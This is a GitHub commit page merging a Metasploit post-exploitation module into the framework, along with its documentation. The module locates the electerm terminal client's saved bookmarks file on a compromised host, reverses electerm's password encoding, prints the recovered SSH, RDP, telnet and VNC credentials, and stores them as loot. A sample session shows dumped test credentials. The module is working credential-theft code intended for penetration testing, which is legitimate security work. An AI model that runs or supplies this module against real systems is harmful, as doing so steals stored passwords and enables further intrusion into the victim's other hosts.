Skip to content

Commit 02eb49e

Browse files
committed
Land rapid7#19395, Electerm post password gather module
Merge branch 'land-19395' into upstream-master
2 parents fd66ab7 + ea6efff commit 02eb49e

File tree

2 files changed

+247
-0
lines changed

2 files changed

+247
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## Vulnerable Application
2+
electerm is free and open source Terminal/ssh/telnet/serialport/RDP/VNC/sftp client.
3+
4+
This module will determine if electerm is installed on the target system and, if it is, it will try to
5+
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
6+
where possible.
7+
8+
Any electerm version on any operating system are supported.
9+
10+
If it works normally, the connection name, host, username and password saved in the certificate file will be printed
11+
12+
### Installation Steps
13+
14+
1. Download and run the electerm installer (https://github.com/electerm/electerm/).
15+
2. Select default installation
16+
3. Open the software and create a connection
17+
complete password setting, add the test account password to the certificate.
18+
19+
## Verification Steps
20+
21+
1. Get a session.
22+
2. Do: `set session <session number>`
23+
3. Do: `run post/multi/gather/credentials/electerm`
24+
4. If the system has saved passwords, they will be printed out.
25+
26+
## Options
27+
28+
### BOOKMARKS_FILE_PATH
29+
30+
Specifies the `electerm.bookmarks.nedb` file path for electerm. (eg.
31+
`C:\Users\FireEye\AppData\Roaming\electerm\users\default_user\electerm.bookmarks.nedb`).
32+
33+
## Scenarios
34+
35+
```
36+
meterpreter > run post/windows/gather/credentials/electerm
37+
38+
[*] Gather electerm Passwords
39+
[*] Looking for JSON files in /home/kali-team/.config/electerm/users/default_user/electerm.bookmarks.nedb
40+
[+] electerm electerm.bookmarks.nedb saved to /home/kali-team/.msf4/loot/20240816195518_default_127.0.0.1_electerm.creds_806863.txt
41+
[*] Finished processing /home/kali-team/.config/electerm/users/default_user/electerm.bookmarks.nedb
42+
[+] Passwords stored in: /home/kali-team/.msf4/loot/20240816195518_default_127.0.0.1_host.electerm_421975.txt
43+
[+] electerm Password
44+
=================
45+
46+
Title Type Host Port Username Password Description
47+
----- ---- ---- ---- -------- -------- -----------
48+
127.0.0.1 22 ssh asdasdawdasdw
49+
127.0.0.1 22 asdas asdasdas
50+
drp rdp 127.0.0.1 3389 drp drppass rdp test
51+
telnet telnet 127.0.0.1 23 root guest telnet des
52+
vnc vnc 127.0.0.1 5900 vncuser vncpass vnc des
53+
[*] Post module execution completed
54+
meterpreter >
55+
```

modules/post/multi/gather/electerm.rb

Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
require 'json'
6+
class MetasploitModule < Msf::Post
7+
include Msf::Post::File
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Gather electerm Passwords',
14+
'Description' => %q{
15+
This module will determine if electerm is installed on the target system and, if it is, it will try to
16+
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
17+
where possible.
18+
},
19+
'License' => MSF_LICENSE,
20+
'References' => [
21+
[ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ]
22+
],
23+
'Author' => ['Kali-Team <kali-team[at]qq.com>'],
24+
'Platform' => [ 'linux', 'win', 'osx', 'unix'],
25+
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],
26+
'Notes' => {
27+
'Stability' => [],
28+
'Reliability' => [],
29+
'SideEffects' => []
30+
}
31+
)
32+
)
33+
register_options(
34+
[
35+
OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']),
36+
]
37+
)
38+
end
39+
40+
# Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js
41+
def dec_electrm_password(enc)
42+
result = enc.chars.map.with_index do |s, i|
43+
((s.ord - i - 1 + 65536) % 65536).chr
44+
end.join
45+
return result
46+
end
47+
48+
def print_and_save(all_result)
49+
pw_tbl = Rex::Text::Table.new(
50+
'Header' => 'electerm Password',
51+
'Columns' => [
52+
'Title',
53+
'Type',
54+
'Host',
55+
'Port',
56+
'Username',
57+
'Password',
58+
'Description',
59+
]
60+
)
61+
all_result.each do |value|
62+
next if !value.key?('username') || !value.key?('password')
63+
64+
row = []
65+
row << value['title'] || ''
66+
row << value.fetch('type', 'ssh')
67+
row << value['host'] || ''
68+
row << value['port'] || ''
69+
row << value['username'] || ''
70+
row << value['password'] || ''
71+
row << value['description'] || ''
72+
pw_tbl << row
73+
config = {
74+
type: value['type'],
75+
host: value['host'],
76+
port: value['port'],
77+
username: value['username'],
78+
password: value['password']
79+
}
80+
electerm_store_config(config)
81+
end
82+
if pw_tbl.rows.count > 0
83+
path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password')
84+
print_good("Passwords stored in: #{path}")
85+
print_good(pw_tbl.to_s)
86+
end
87+
end
88+
89+
def electerm_store_config(config)
90+
service_data = {
91+
address: config[:host],
92+
port: config[:port],
93+
service_name: config[:type],
94+
protocol: 'tcp',
95+
workspace_id: myworkspace_id
96+
}
97+
98+
credential_data = {
99+
origin_type: :session,
100+
session_id: session_db_id,
101+
post_reference_name: refname,
102+
private_type: :password,
103+
private_data: config[:password],
104+
username: config[:username]
105+
}.merge(service_data)
106+
107+
credential_core = create_credential(credential_data)
108+
109+
login_data = {
110+
core: credential_core,
111+
status: Metasploit::Model::Login::Status::UNTRIED
112+
}.merge(service_data)
113+
114+
create_credential_login(login_data)
115+
end
116+
117+
def parse_jsonlines(line)
118+
result_hashmap = Hash.new
119+
begin
120+
result_hashmap = JSON.parse(line)
121+
rescue ::JSON::ParserError => e
122+
raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}"
123+
end
124+
if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted')
125+
result_hashmap['password'] = dec_electrm_password(result_hashmap['password'])
126+
end
127+
return result_hashmap
128+
end
129+
130+
def parse_json(bookmarks_path)
131+
some_result = []
132+
if session.platform == 'windows'
133+
bookmarks_path.gsub!('/') { '\\' }
134+
end
135+
begin
136+
if file_exist?(bookmarks_path)
137+
nedb_data = read_file(bookmarks_path) || ''
138+
print_error('The file could not be read') if nedb_data.empty?
139+
nedb_data.each_line do |line|
140+
some_result << parse_jsonlines(line)
141+
end
142+
credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path)
143+
print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}")
144+
print_status("Finished processing #{bookmarks_path}")
145+
else
146+
print_error("Cannot find file #{bookmarks_path}")
147+
end
148+
rescue StandardError => e
149+
print_error("Error when parsing #{bookmarks_path}: #{e}")
150+
end
151+
return some_result
152+
end
153+
154+
def get_bookmarks_path
155+
bookmarks_dir = ''
156+
case session.platform
157+
when 'windows'
158+
app_data = get_env('AppData')
159+
if app_data.present?
160+
bookmarks_dir = app_data + '\electerm\users\default_user'
161+
end
162+
when 'linux', 'osx', 'unix'
163+
home = get_env('HOME')
164+
if home.present?
165+
bookmarks_dir = home + '/.config/electerm/users/default_user'
166+
end
167+
end
168+
bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb')
169+
return bookmarks_path
170+
end
171+
172+
def run
173+
print_status('Gather electerm Passwords')
174+
all_result = []
175+
bookmarks_path = ''
176+
if datastore['BOOKMARKS_FILE_PATH'].present?
177+
bookmarks_path = datastore['BOOKMARKS_FILE_PATH']
178+
print_status("Looking for JSON files in #{bookmarks_path}")
179+
all_result += parse_json(bookmarks_path)
180+
end
181+
if bookmarks_path.empty?
182+
bookmarks_path = get_bookmarks_path
183+
if !bookmarks_path.blank?
184+
result = parse_json(bookmarks_path)
185+
if !result.empty?
186+
all_result += result
187+
end
188+
end
189+
end
190+
print_and_save(all_result)
191+
end
192+
end

0 commit comments

Comments
 (0)